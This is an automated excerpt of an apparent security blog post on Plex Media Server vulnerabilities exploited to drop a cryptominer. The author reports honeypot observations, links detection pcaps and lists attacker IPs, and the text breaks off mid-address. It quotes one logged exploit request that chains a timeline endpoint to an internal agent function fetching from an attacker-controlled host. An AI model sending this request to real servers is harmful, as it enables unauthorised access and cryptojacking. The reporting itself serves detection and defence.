Plex vulnerabilities being exploited in the wild to drop a cryptominer

Automated excerpt

See the post here: https://forums. plex. tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. Here are pcaps for detection/signature work: https://github. com/BoredHackerBlog/plex2shell_pcapPlex2Shell In the wild exploitation:My honeypot mostly saw scanning and generic exploitation attempts. From zeek logs: "uri": "/player/timeline/subscribe? deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127. 0. 0. 1:32400/system/agents/z/searchOne? mediaType=1&lang=en&identifier=com. plexapp. agents. thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127. 0. 0. 1. 45-194-92-222. sslip. io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471", "user_agent": "Python-urllib/3. 10",The following two IP's were seen doing exploitation as well:91. 92. 40. 202176. 65. 139.

Selected automatically from source text; not independently written or fact-checked. Read the original for full context.